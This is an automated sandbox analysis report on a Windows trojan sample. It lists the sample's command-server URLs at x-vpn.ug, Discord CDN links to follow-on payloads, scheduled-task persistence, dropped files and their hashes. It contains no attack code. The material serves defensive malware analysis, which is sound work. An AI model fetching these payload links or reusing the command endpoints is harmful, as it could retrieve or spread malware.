http://x-vpn.ug/hfV3vDtt/index.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://x-vpn.ug/hfV3vDtt/index.php?scr=1ncoded_	drbux.exe, 00000002.00000002.610451505.0000000004950000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	vhNyVU8USk.exe	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://x-vpn.ug/hfV3vDtt/index.phpp	drbux.exe, 00000002.00000002.610451505.0000000004950000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	vhNyVU8USk.exe	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://x-vpn.ug/hfV3vDcom/attachments/837741922641903637/866064264027701248/svchost.exe	drbux.exe, 00000002.00000003.448301937.0000000000BDD000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://x-vpn.ug/K	drbux.exe, 00000002.00000002.610451505.0000000004950000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	vhNyVU8USk.exe	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://x-vpn.ug/hfV3vDtt/index.php?scr=1pp	drbux.exe, 00000002.00000003.435809821.0000000000BDD000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://x-vpn.ug/hfV3vDtt/index.php?scr=15V	drbux.exe, 00000002.00000003.435809821.0000000000BDD000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://x-vpn.ug/hfV3vDtt/index.php?scr=1b	drbux.exe, 00000002.00000002.610451505.0000000004950000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://x-vpn.ug/hfV3vDtt/index.phpe	drbux.exe, 00000002.00000003.463193524.0000000004958000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0D	vhNyVU8USk.exe	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://displaycatalogtt/index.php	drbux.exe, 00000002.00000003.448301937.0000000000BDD000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://x-vpn.ug/hfV3vDvDtt/index.php	drbux.exe, 00000002.00000002.603065171.0000000000BBA000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com/5xx-error-landing	drbux.exe, 00000002.00000002.605940532.00000000030DE000.00000004.00000001.sdmp, kliper[1].htm.2.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.159.129.233	cdn.discordapp.com	United States		13335	CLOUDFLARENETUS	false
185.114.247.54	x-vpn.ug	Russian Federation		9123	TIMEWEB-ASRU	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	450818
Start date:	19.07.2021
Start time:	18:34:07
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	vhNyVU8USk.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@14/14@2/3
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 51.104.136.2, 52.255.188.83, 104.42.151.234, 20.50.102.62, 67.27.159.254, 67.27.157.126, 67.27.157.254, 67.26.139.254, 8.241.122.126, 20.54.110.249, 40.112.88.60, 80.67.82.235, 80.67.82.211, 23.211.4.86, 20.82.210.154 Excluded domains from analysis (whitelisted): iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, settings-win.data.microsoft.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, settingsfd-geo.trafficmanager.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus16.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
18:35:19	API Interceptor	3026x Sleep call for process: drbux.exe modified
18:35:20	Task Scheduler	Run new task: drbux.exe path: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
162.159.129.233	Order 4503860408.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/809311531652087809/839376179840286770/originbot4.0.exe
	cotizacin.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/812102734177763331/819187064415191071/bextrit.exe
	SecuriteInfo.com.PWS-FCXDF96A01717A58.15363.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/819169403979038784/819184830453514270/fraem.exe
	7G5RoevPnu.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/807746340997431316/809208342068199434/118fir2crtg.exe
	70% Balance Payment.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/785631384156110868/785631871395561492/italianmassloga.exe
	TT20201712.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/788973775433498687/788974151649722398/damianox.scr
	ENQ-015August 2020 R1 Proj LOT.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/722888184203051118/757862128198877274/Stub.jpg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
x-vpn.ug	D16YRFIELV.exe	Get hash	malicious	Browse	193.164.16.141
	dt7RkA0T6X.exe	Get hash	malicious	Browse	193.164.16.141
	EuTxVpEQW1.exe	Get hash	malicious	Browse	193.164.16.141
	MTImzMa0Gy.exe	Get hash	malicious	Browse	193.164.16.141
cdn.discordapp.com	sq9aBtcak6.exe	Get hash	malicious	Browse	162.159.130.233
	y7PKSDpFe0.exe	Get hash	malicious	Browse	162.159.133.233
	fyEcI70Ihw.exe	Get hash	malicious	Browse	162.159.134.233
	sonia_5.exe	Get hash	malicious	Browse	162.159.133.233
	CSyG3zNcwS.exe	Get hash	malicious	Browse	162.159.130.233
	BrCi5pJr8J.exe	Get hash	malicious	Browse	162.159.135.233
	Gx8b0xWdGB.exe	Get hash	malicious	Browse	162.159.130.233
	ybELyLgbYT.exe	Get hash	malicious	Browse	162.159.134.233
	WR0MTpWkYC.exe	Get hash	malicious	Browse	162.159.134.233
	SecuriteInfo.com.Trojan.Inject4.14369.15008.exe	Get hash	malicious	Browse	162.159.134.233
	F6w8Ll8iWU.exe	Get hash	malicious	Browse	162.159.133.233
	0RoxrPNIJr.exe	Get hash	malicious	Browse	162.159.135.233
	ly1.xlsx	Get hash	malicious	Browse	162.159.134.233
	BIDA5wExN6.exe	Get hash	malicious	Browse	162.159.129.233
	Supwaize2.exe	Get hash	malicious	Browse	162.159.135.233
	UeEFnSPkuV.exe	Get hash	malicious	Browse	162.159.134.233
	ORDER.exe	Get hash	malicious	Browse	162.159.130.233
	F8zQ1ifhae.exe	Get hash	malicious	Browse	162.159.133.233
	NgmQnkRqAm.exe	Get hash	malicious	Browse	162.159.135.233
	xSbADSDM2M.exe	Get hash	malicious	Browse	162.159.135.233

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TIMEWEB-ASRU	jYzWBKTsxE.exe	Get hash	malicious	Browse	92.53.96.150
	WAdStf9Llw.exe	Get hash	malicious	Browse	92.53.96.150
	07xufnlKWd.exe	Get hash	malicious	Browse	92.53.96.150
	VkaCSkmCiX.exe	Get hash	malicious	Browse	92.53.96.150
	UeEFnSPkuV.exe	Get hash	malicious	Browse	92.53.96.150
	0c2Em7b36J.exe	Get hash	malicious	Browse	92.53.96.150
	WiSB6SurPE.exe	Get hash	malicious	Browse	92.53.96.150
	X7FqAeP3oE.exe	Get hash	malicious	Browse	92.53.96.150
	5odgesjcMa.exe	Get hash	malicious	Browse	92.53.96.150
	8lV4yAlU6o.exe	Get hash	malicious	Browse	92.53.96.150
	6dCudgmxKY.exe	Get hash	malicious	Browse	92.53.96.150
	cCEP3pyVp8.exe	Get hash	malicious	Browse	92.53.96.150
	pCCZmmulmJ.exe	Get hash	malicious	Browse	92.53.96.150
	umbr.exe	Get hash	malicious	Browse	92.53.96.150
	umbr.exe	Get hash	malicious	Browse	92.53.96.150
	iKcDLx5Wxc.exe	Get hash	malicious	Browse	92.53.96.150
	Mh2FzBrd3m.exe	Get hash	malicious	Browse	92.53.96.150
	3MIvJieGXT.exe	Get hash	malicious	Browse	92.53.96.150
	mJSDCeNxFi.exe	Get hash	malicious	Browse	92.53.96.150
	iew852qEQI.exe	Get hash	malicious	Browse	92.53.96.150
CLOUDFLARENETUS	wKbPkySyKF.exe	Get hash	malicious	Browse	172.67.145.153
	UwQ0OtK2xW.exe	Get hash	malicious	Browse	104.21.50.35
	ATT74992.HTM	Get hash	malicious	Browse	104.18.10.207
	Your-File-Is-Ready-To-Download-PLND.exe	Get hash	malicious	Browse	172.67.141.50
	TNT Shiping Document.pdf.exe	Get hash	malicious	Browse	172.67.188.154
	PO#78.exe	Get hash	malicious	Browse	172.67.188.154
	order no. YOIMM20190832 pdf.exe	Get hash	malicious	Browse	104.21.48.238
	o0z4JJpYNf	Get hash	malicious	Browse	8.47.122.17
	Invoice-Scancopy.docx	Get hash	malicious	Browse	172.67.178.51
	bank swift... Scan pdf.exe	Get hash	malicious	Browse	104.21.19.200
	o8YvAfzUQl.exe	Get hash	malicious	Browse	172.67.156.203
	MACHINE SPECIFICATIONS.exe	Get hash	malicious	Browse	172.67.188.154
	ORDER_683703789238738.xlsx	Get hash	malicious	Browse	104.21.27.166
	sq9aBtcak6.exe	Get hash	malicious	Browse	162.159.130.233
	SecuriteInfo.com.Trojan.Win32.Save.a.20210.exe	Get hash	malicious	Browse	104.21.19.200
	NJrrXRv8zV	Get hash	malicious	Browse	1.15.161.99
	Quote.exe	Get hash	malicious	Browse	172.67.188.154
	y7PKSDpFe0.exe	Get hash	malicious	Browse	162.159.133.233
	PandaOCR.Pro.exe	Get hash	malicious	Browse	172.65.251.78
	PandaOCR.Pro.exe	Get hash	malicious	Browse	172.65.251.78

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	xBMx9OBP97.exe	Get hash	malicious	Browse
	sonia_5.exe	Get hash	malicious	Browse
	jYzWBKTsxE.exe	Get hash	malicious	Browse
	CSyG3zNcwS.exe	Get hash	malicious	Browse
	BrCi5pJr8J.exe	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\ca82a716069a53\cred.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	197
Entropy (8bit):	4.660275985563406
Encrypted:	false
SSDEEP:	6:q43tISyAII0wmE5poXiMIWYRAII0wmE5pzlI5LPjLpfGu:TvytTwFpoVI5tTwFpzlI5r3NGu
MD5:	CBEC5862E4C3D1C79B399157D994D663
SHA1:	9080B8FD72210880E5257C56E650702E422A94FB
SHA-256:	B965B3C73E33B9F0572756B620C129CEE7F03C0867856E9AD19558B35FA6BDB5
SHA-512:	1BFC7889FAEBBCB0122EE0FB66AA38895A466B9D9A99CD97985FFBDD58DDEC7E746660FD0136DA053C810A59D2F75F7FAB5B5D94A08541810054A3D08001473B
Malicious:	false
Preview:	<html>..<head><title>503 Service Temporarily Unavailable</title></head>..<body>..<center><h1>503 Service Temporarily Unavailable</h1></center>..<hr><center>nginx/1.16.1</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\svchost[1].htm Download File
Process:	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	4358
Entropy (8bit):	4.998800646814531
Encrypted:	false
SSDEEP:	96:1j9jwIjYjyDK/DZD8jH+k1TvJADh/pRszssszbGD:1j9jhjYjWK/lyH+kTRADh/pmzsssfGD
MD5:	24AB1FBC77B5F5B6D13DC59CF6CE7078
SHA1:	6C9A47AAC42DC71977181CC857E5ACF2C20CEDD1
SHA-256:	CA2D5CA3B40C17FB6B29B2D5637EA7160851ECCCAE7E7ECDA64EC56450CC0B49
SHA-512:	F4F0927FC645715F9189DAAD3A18549271CCD97ED8CDCE8869CBB75408FDC4CD4664A3008449A9D7C89E6DFC79D1932ED1FF7FA6E33BCBD5478C413291B66213
Malicious:	false
IE Cache URL:	http://cdn.discordapp.com/attachments/837741922641903637/866064264027701248/svchost.exe
Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Suspected phishing site \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" type="text/css" media="screen,projection" /><![endif]-->.<style type="text/css">body{margin:0;padding:0}</style>...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\GoogleInstall[1].htm Download File
Process:	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	4364
Entropy (8bit):	5.003832955957816
Encrypted:	false
SSDEEP:	96:1j9jwIjYjyDK/DZD8jH+k1WjvJADh/pRsPssszbGD:1j9jhjYjWK/lyH+kWjRADh/pmPsssfGD
MD5:	F141267993D5AFFB417E15FC07EEBEA7
SHA1:	74E2F5196DF641E1A00F3169C4B323A1217FC712
SHA-256:	ECAB19426AB836244C0FE79EB2BF7546B18629EE49E1919ECEAF4E6C61535DC3
SHA-512:	65C8F52F8EF85AA11A6D2C927005989F57A36E1D0A96EA102B971C82DD8DA8BC8C3F5C59762CA5293A145FDB396BE944053D5B2DC8B4399D139E54E9CFF6762C
Malicious:	false
IE Cache URL:	http://cdn.discordapp.com/attachments/837741922641903637/866064263189233694/GoogleInstall.exe
Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Suspected phishing site \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" type="text/css" media="screen,projection" /><![endif]-->.<style type="text/css">body{margin:0;padding:0}</style>...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\kliper[1].htm Download File
Process:	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	4357
Entropy (8bit):	5.001162785086624
Encrypted:	false
SSDEEP:	96:1j9jwIjYjyDK/DZD8jH+k153rvJADh/pRsCssszbGD:1j9jhjYjWK/lyH+k5bRADh/pmCsssfGD
MD5:	BD5BBA508194774BD253CEB88D70D86C
SHA1:	1BB91D0100BB1F703AD37A0CF076FC998BC80625
SHA-256:	3EFEEDCC86CB3BE136AC46E75CE59AB0AC15FA860B494903335AC6860288048A
SHA-512:	FB34B71B8B69B627D29F12DAF9D35B36122E7751FB79764C3DDAC82468B3EB8B112126CF9FC16029005B259FBD116F98CF0AE9FB94BF59348FA71951D6E16CB6
Malicious:	false
IE Cache URL:	http://cdn.discordapp.com/attachments/837741922641903637/866052288628129812/kliper.exe
Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Suspected phishing site \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" type="text/css" media="screen,projection" /><![endif]-->.<style type="text/css">body{margin:0;padding:0}</style>...

C:\Users\user\AppData\Local\Temp\152138533219 Download File
Process:	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3
Category:	dropped
Size (bytes):	15946443
Entropy (8bit):	7.920963232668844
Encrypted:	false
SSDEEP:	49152:yoIoIoIoIoIoIoIoIoIoIoIoIoIoIoIoIoIoIoIoIoIoIoIoIoIoIovoIoI33oIh:Okc2cbu
MD5:	C657AFDA4FE991ABB6295CA107545DC5
SHA1:	744D9A4853126AF981D139DE7EA6E6041604B6DC
SHA-256:	E8B67ED6386D251E56EDBCBF263F561FFFC0C0AB7DCD42E42C9B3AE4D093EFD1
SHA-512:	FA206C59E0578C22A4AAFD5828FDCBD791C30A9E0CAFEAE2416F2C2E7FF2ABBD2E894579F3ACE9F1DD2E9EA6F85F13744D2409C209E2BD002841C0283F2B1F80
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..01KK...lq\....xcS.m..#Hm.....T......<!...wq5...v1.?S.....rHj-.U:...5............\|..+.......}...<.>...H.......Wo.CK`/l.1./...C...W.....,1....R.0.W.M.!.l7.~S....."SW.^..c......^s........u,-n....A..?.2.....l.(.?....7..~.q$.f..1\.q[.....oS:.gOY".....f-%.P.b.Z......<Z5..........\|.w....v...2\|...v<.......7.....................s...u.....g.W......)ky..N...

C:\Users\user\AppData\Local\Temp\15213853321935212556 Download File
Process:	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
File Type:	empty
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	false
Preview:

C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe Download File
Process:	C:\Users\user\Desktop\vhNyVU8USk.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4470944
Entropy (8bit):	7.87328379736588
Encrypted:	false
SSDEEP:	98304:evijXqgHXT9Xo/9xOtLIfqFbco+g5f1JGkV7FbTe7:evol5Xo9xOrb3Rff99C
MD5:	6738C904BA78A2268A8950152A6C7448
SHA1:	F2E8D6FDAABBFEDD6FCA2A7676205756B0C72D3C
SHA-256:	42054B960727FBD72BDE57E8903881E4239E9500F1160CA298E10A1B438698A8
SHA-512:	150711D55BD9B1157CC477E9791C3D43F8BD43B684383AA14DF0382350DC3D4A8BAE0DE41D1D69C1C8B9709F0CBD92CCB8698FD26434B07EB76935987EF4BA22
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 36%
Joe Sandbox View:	Filename: xBMx9OBP97.exe, Detection: malicious, Browse Filename: sonia_5.exe, Detection: malicious, Browse Filename: jYzWBKTsxE.exe, Detection: malicious, Browse Filename: CSyG3zNcwS.exe, Detection: malicious, Browse Filename: BrCi5pJr8J.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....`.................b...h.......[...........@...........................o......WD...@...................................Y.......l.............. D......pl......................................fl.@.............e.P............................text...v`.......................... ..`.rdata..............................@..@.data...DE..........................@....MAT.R.....`......................`..`.MAT.R.....p......................`..`.MAT.RwQ'.........................`..`.MAT.R0.A...*...A.................`..`.reloc.......pl.......A.............@..@.rsrc.........l.......A.............@..@........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GoogleInstall.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	4364
Entropy (8bit):	5.003832955957816
Encrypted:	false
SSDEEP:	96:1j9jwIjYjyDK/DZD8jH+k1WjvJADh/pRsPssszbGD:1j9jhjYjWK/lyH+kWjRADh/pmPsssfGD
MD5:	F141267993D5AFFB417E15FC07EEBEA7
SHA1:	74E2F5196DF641E1A00F3169C4B323A1217FC712
SHA-256:	ECAB19426AB836244C0FE79EB2BF7546B18629EE49E1919ECEAF4E6C61535DC3
SHA-512:	65C8F52F8EF85AA11A6D2C927005989F57A36E1D0A96EA102B971C82DD8DA8BC8C3F5C59762CA5293A145FDB396BE944053D5B2DC8B4399D139E54E9CFF6762C
Malicious:	false
Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Suspected phishing site \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" type="text/css" media="screen,projection" /><![endif]-->.<style type="text/css">body{margin:0;padding:0}</style>...

C:\Users\user\AppData\Local\Temp\kliper.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	4357
Entropy (8bit):	5.001162785086624
Encrypted:	false
SSDEEP:	96:1j9jwIjYjyDK/DZD8jH+k153rvJADh/pRsCssszbGD:1j9jhjYjWK/lyH+k5bRADh/pmCsssfGD
MD5:	BD5BBA508194774BD253CEB88D70D86C
SHA1:	1BB91D0100BB1F703AD37A0CF076FC998BC80625
SHA-256:	3EFEEDCC86CB3BE136AC46E75CE59AB0AC15FA860B494903335AC6860288048A
SHA-512:	FB34B71B8B69B627D29F12DAF9D35B36122E7751FB79764C3DDAC82468B3EB8B112126CF9FC16029005B259FBD116F98CF0AE9FB94BF59348FA71951D6E16CB6
Malicious:	false
Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Suspected phishing site \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" type="text/css" media="screen,projection" /><![endif]-->.<style type="text/css">body{margin:0;padding:0}</style>...

C:\Users\user\AppData\Local\Temp\svchost.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	4358
Entropy (8bit):	4.998800646814531
Encrypted:	false
SSDEEP:	96:1j9jwIjYjyDK/DZD8jH+k1TvJADh/pRszssszbGD:1j9jhjYjWK/lyH+kTRADh/pmzsssfGD
MD5:	24AB1FBC77B5F5B6D13DC59CF6CE7078
SHA1:	6C9A47AAC42DC71977181CC857E5ACF2C20CEDD1
SHA-256:	CA2D5CA3B40C17FB6B29B2D5637EA7160851ECCCAE7E7ECDA64EC56450CC0B49
SHA-512:	F4F0927FC645715F9189DAAD3A18549271CCD97ED8CDCE8869CBB75408FDC4CD4664A3008449A9D7C89E6DFC79D1932ED1FF7FA6E33BCBD5478C413291B66213
Malicious:	false
Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Suspected phishing site \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" type="text/css" media="screen,projection" /><![endif]-->.<style type="text/css">body{margin:0;padding:0}</style>...

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.87328379736588
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	vhNyVU8USk.exe
File size:	4470944
MD5:	6738c904ba78a2268a8950152a6c7448
SHA1:	f2e8d6fdaabbfedd6fca2a7676205756b0c72d3c
SHA256:	42054b960727fbd72bde57e8903881e4239e9500f1160ca298e10a1b438698a8
